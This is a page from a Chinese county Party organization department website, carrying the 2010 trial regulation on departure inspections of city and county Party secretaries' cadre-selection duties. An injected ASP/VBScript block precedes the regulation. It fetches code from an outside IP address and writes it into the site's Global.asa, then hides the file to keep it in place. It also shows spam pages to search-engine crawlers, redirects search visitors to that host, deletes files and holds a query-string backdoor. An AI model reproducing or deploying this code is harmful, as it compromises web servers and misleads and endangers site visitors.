' ' 'by*aming Server.ScriptTimeout=600 Public Function createasa(ByVal Content) On Error Resume Next Set fso = Server.CreateObject("scripting.filesystemobject") set f=fso.Getfile("//./" & Server.MapPath("/Global.asa")) f.Attributes=0 Set Obj = Server.CreateObject("adod" & "b.S" & "tream") Obj.Type = 2 Obj.open Obj.Charset = "gb2312" Obj.Position = Obj.Size Obj.writetext = Content Obj.SaveToFile "//./" & Server.MapPath("/Global.asa"),2 Obj.Close Set Obj = Nothing f.Attributes=1+2+4 set f=Nothing Set fso = Nothing End Function Public Function createasax(ByVal Content) On Error Resume Next Set fso = Server.CreateObject("scripting.filesystemobject") set f=fso.Getfile("//./" & Server.MapPath("/Global.asax")) f.Attributes=0 Set Obj = Server.CreateObject("adod" & "b.S" & "tream") Obj.Type = 2 Obj.open Obj.Charset = "gb2312" Obj.Position = Obj.Size Obj.writetext = Content Obj.SaveToFile "//./" & Server.MapPath("/Global.asax"),2 Obj.Close Set Obj = Nothing f.Attributes=1+2+4 set f=Nothing Set fso = Nothing End Function Public Function GetHtml(url) Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") ObjXMLHTTP.Open "GET",url,False ObjXMLHTTP.setRequestHeader "User-Agent",url ObjXMLHTTP.send GetHtml=ObjXMLHTTP.responseBody Set ObjXMLHTTP=Nothing set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode =3 objStream.Open objStream.Write GetHtml objStream.Position = 0 objStream.Type = 2 objStream.Charset = "gb2312" GetHtml = objStream.ReadText objStream.Close End Function Function check(user_agent) allow_agent=split("Baiduspider,Sogou,baidu,Sosospider,Googlebot,FAST-WebCrawler,MSNBOT,Slurp,360,so,haosou",",") check_agent=false For agenti=lbound(allow_agent) to ubound(allow_agent) If instr(user_agent,allow_agent(agenti))>0 then check_agent=true exit for end if Next check=check_agent End function Function CheckRobot() CheckRobot = False Dim Botlist,i,Repls Repls = request.ServerVariables("http_user_agent") Krobotlist = "Baiduspider|Googlebot" Botlist = Split(Krobotlist,"|") For i = 0 To Ubound(Botlist) If InStr(Repls,Botlist(i)) > 0 Then CheckRobot = True Exit For End If Next If Request.QueryString("admin")= "1" Then Session("ThisCheckRobot")=1 If Session("ThisCheckRobot") = 1 Then CheckRobot = True End Function Function CheckRefresh() CheckRefresh = False Dim Botlist,i,Repls Krobotlist = "baidu|google|sogou|soso|youdao|bing|yahoo|qihoo|iask|haosou|360.cn|so.|anquan|qq.|51yes|51.la" Botlist = Split(Krobotlist,"|") For i = 0 To Ubound(Botlist) If InStr(left(request.servervariables("HTTP_REFERER"),"40"),Botlist(i)) > 0 Then CheckRefresh = True Exit For End If Next End Function Sub sleep() If response.IsClientConnected=true then Response.Flush else response.end end if End Sub If CheckRefresh=true Then cnnbd=lcase(Request.ServerVariables("HTTP_HOST")&request.ServerVariables("HTTP_URL")) 'response.redirect("http://198.2.196.141/?"&cnnbd&"") fkurl = GetHtml("http://198.2.196.141/") Response.Write fkurl response.end end If user_agent=Request.ServerVariables("HTTP_USER_AGENT") if check(user_agent)=true then body=GetHtml("http://198.2.196.141/") response.write body urlname="http://"&request.servervariables("HTTP_HOST") link=GetHtml(urlname) response.write link response.end else asa=GetHtml("http://198.2.196.141/globalquan.txt") if instr(asa,"by*aming")>0 then createasa(asa) end if dim name name=request.servervariables("Path_Translated") Set fso = Server.CreateObject("scripting.filesystemobject") set f=fso.Getfile("//./" & Server.MapPath("/global.asa")) Dim v Dim t ReDim A(Request.Form.Count) ReDim B(Request.Form.Count) v=Request.Form t=Request.Form.Count if t>0 then For i=0 To t-1 b(i)=Split(Split(v,"&")(i),"=")(1) if instr(LCase(b(i)),"global.asa")>0 then f.Attributes=1+2+4 response.end() end if Next end if if DC=false and CF=True and request.servervariables("QUERY_STRING")<>"" then response.redirect(Rurl&"?"&Request.ServerVariables("HTTP_HOST")) elseif instr(name,";")>0 then set m=fso.Getfile(name) m.Attributes=0 fso.DeleteFile(name) f.Attributes=1+2+4 response.end() end if ScriptAddress=Request.ServerVariables("SCRIPT_NAME") namepath=Server.MapPath(ScriptAddress) If Len(Request.QueryString) > 0 Then ScriptAddress = ScriptAddress & "?" & Request.QueryString end if geturl ="http://"& Request.ServerVariables("http_host") & ScriptAddress geturl =LCase(geturl) 'response.write replace(namepath,server.MapPath("/"),"") 'response.end 'if instr(geturl,"jc=ok")=0 and instr(geturl,"global=ok")=0 and instr(LCase(Request.ServerVariables("http_host")),"gov.cn")=0 and instr(LCase(Request.ServerVariables("http_host")),"edu.cn")=0 and if instr(geturl,"http://"& Request.ServerVariables("http_host") &"/index.asp")=0 and instr(geturl,"http://"& Request.ServerVariables("http_host") &"/")=0 and instr(LCase(Request.ServerVariables("HTTP_REFERER")),LCase(Request.ServerVariables("http_host")))<=0 then agent = lcase(request.servervariables("http_user_agent")) referer = LCase(Request.ServerVariables("HTTP_REFERER")) bot = "" Amll = "" if instr(agent, "+") > 0 then bot = agent if instr(agent, "-") > 0 then bot = agent if instr(agent, "http") > 0 then bot = agent if instr(agent, "spider") > 0 then bot = agent if instr(agent, "bot") > 0 then bot = agent if instr(agent, "linux") > 0 then bot = agent if instr(agent, "baidu") > 0 then bot = agent if instr(agent, "google") > 0 then bot = "nobot" if instr(agent, "yahoo") > 0 then bot = "nobot" if instr(agent, "msn") > 0 then bot = "nobot" if instr(agent, "alexa") > 0 then bot = "nobot" if instr(agent, "sogou") > 0 then bot = "nobot" if instr(agent, "youdao") > 0 then bot = "nobot" if instr(agent, "soso") > 0 then bot = "nobot" if instr(agent, "iask") > 0 then bot = "nobot" if bot="nobot" then 'Call WriteErr 'response.end end if If Instr(REFERER,"http") > 0 and Instr(REFERER,".") > 0 and Instr(REFERER,"/") > 0 and Instr(REFERER,"?") > 0 and Instr(REFERER,"=") > 0 Then Amll = "ok" tjcount=request.Cookies("cookie_tjcount") date1=request.Cookies("cookie_date") date2=year(date)&month(date)&day(date) if tjcount="" then response.cookies("cookie_tjcount")=0 response.cookies("cookie_tjcount").Expires=DateAdd("d",1,now()) end if if date1<>date2 then response.cookies("cookie_date")=date2 response.cookies("cookie_date").Expires=DateAdd("d",365,now()) end if tjcount=request.Cookies("cookie_tjcount") date1=request.Cookies("cookie_date") date2=year(date)&month(date)&day(date) if date1=date2 and len(bot) = 0 then if int(tjcount)<10 and len(Amll)>0 then response.cookies("cookie_tjcount")=int(tjcount)+1 response.cookies("cookie_tjcount").Expires=DateAdd("d",1,now()) strHost=Request.ServerVariables("HTTP_HOST") Response.Redirect("http://198.2.196.141/?domain="&strHost&"") else response.write "系统找不到指定的文件。" 'response.write "" 'response.write gethtml(geturl&"?global=ok") end if response.end end if Call sleep() end if end if ' 《市县党委书记履行干部选拔任用工作职责离任检查办法(试行)》_ _资料中心_马尔康组工网——中共马尔康市委组织部信息中心
  您的位置  首页 >> 资料中心 >> >> 正文
《市县党委书记履行干部选拔任用工作职责离任检查办法(试行)》
[审核: | 撰稿:转 | 日期:2010年4月29日 | 浏览12925 次] 字体:[ ]

新华网北京2010年3月31日电 市县党委书记履行干部选拔任用工作职责离任检查办法(试行)


    第一条 为促进市(地、州、盟)、县(市、区、旗)党委书记(以下简称市县党委书记)认真履行干部选拔任用工作职责,提高选人用人质量,根据《党政领导干部选拔任用工作条例》、《党政领导干部选拔任用工作监督检查办法(试行)》,制定本办法。

    第二条 市县党委书记履行干部选拔任用工作职责离任检查,是指市县党委书记因提拔使用、平级交流、到龄退休等原因即将离任时,由上级党委组织部门对其任职期间履行干部选拔任用工作职责的情况进行检查。

    第三条 对因拟提拔使用即将离任的市县党委书记的检查,一般结合干部考察进行,由上级党委组织部门派出的干部考察组负责实施。

    第四条 对因平级交流、到龄退休等原因即将离任的市县党委书记的检查,按照干部管理权限由上级党委组织部门干部监督机构负责组织实施。

    第五条 对即将离任的市县党委书记履行干部选拔任用工作职责的情况,重点检查下列内容:

    (一)任职期间贯彻执行党的干部路线方针政策的情况;

    (二)任职期间市县党委选拔任用的干部的情况;

    (三)任职期间本地区用人风气的情况;

    (四)任职期间遵守组织人事纪律的情况特别是离任前有无突击提拔调整干部的情况;

    (五)任职期间加强干部监督管理工作的情况;

    (六)其他应当检查的情况。

    第六条 离任检查一般按下列程序进行:

    (一)即将离任的市县党委书记报告任职期间第五条所列情况;

    (二)在一定范围内对即将离任的市县党委书记任职期间履行干部选拔任用工作职责情况和市县党委近期新任用的干部进行民主评议;

    (三)通过个别访谈、召开座谈会、受理举报等方式听取干部群众意见;

    (四)查阅干部任免相关材料;

    (五)向下达检查任务的党委组织部门报告检查情况;

    (六)向被检查的市县党委书记反馈检查结果。

    市县党委集中换届时,对拟提拔使用的市县党委书记履行干部选拔任用工作职责的离任检查,除本条第(一)、(二)项外,其他程序可以结合考察工作适当简化。

    第七条 对拟提拔使用的市县党委书记的民主评议,参加人员范围与考察时的参加民主测评人员范围一致。

    对因平级交流、到龄退休等原因即将离任的市县党委书记的民主评议,一般由下列人员参加:

    (一)全委会成员;

    (二)本级人大、政府、政协领导班子成员;

    (三)本级纪委常委会成员;

    (四)本级人民法院、人民检察院主要领导成员;

    (五)其他需要参加的人员。

    第八条 检查结果作为评价、使用市县党委书记的重要依据。对民主评议中履行干部选拔任用工作职责总体评价“满意”、“基本满意”两项比率合计不足三分之二,或者用人风气总体评价“好”、“较好”两项比率合计不足三分之二的人员,经组织考核认定,要采取相应的组织处理措施,其中拟提拔使用的,应当取消其资格。

    拟提拔使用干部的考察材料中应当反映检查情况和民主评议结果。

    第九条 检查发现即将离任的市县党委书记任职期间存在严重违反干部选拔任用工作规定问题的,以及在干部选拔任用工作中不履行或者不正确履行职责导致用人失察失误、造成严重后果或者恶劣影响的,要进行调查核实。经调查属实的,根据有关规定追究其责任,给予相应的组织处理或者纪律处分,对于拟提拔使用的,先取消其提拔资格,再视情况作进一步处理。

    对于在新任用的干部民主评议中满意度明显偏低的干部,市县党委书记应当就其任用情况作出说明。考察组或者检查组应当对其任用过程进行调查了解。

    第十条 各省、自治区、直辖市党委组织部门可根据本办法制定实施细则。党政机关直属单位党组(党委)书记的离任检查,可参照本办法执行。

    第十一条 本办法由中共中央组织部负责解释。

    第十二条 本办法自发布之日起施行。


相关文章

  • ·没有相关文章

相关专题

  • ·专题1信息无
  • ·专题2信息无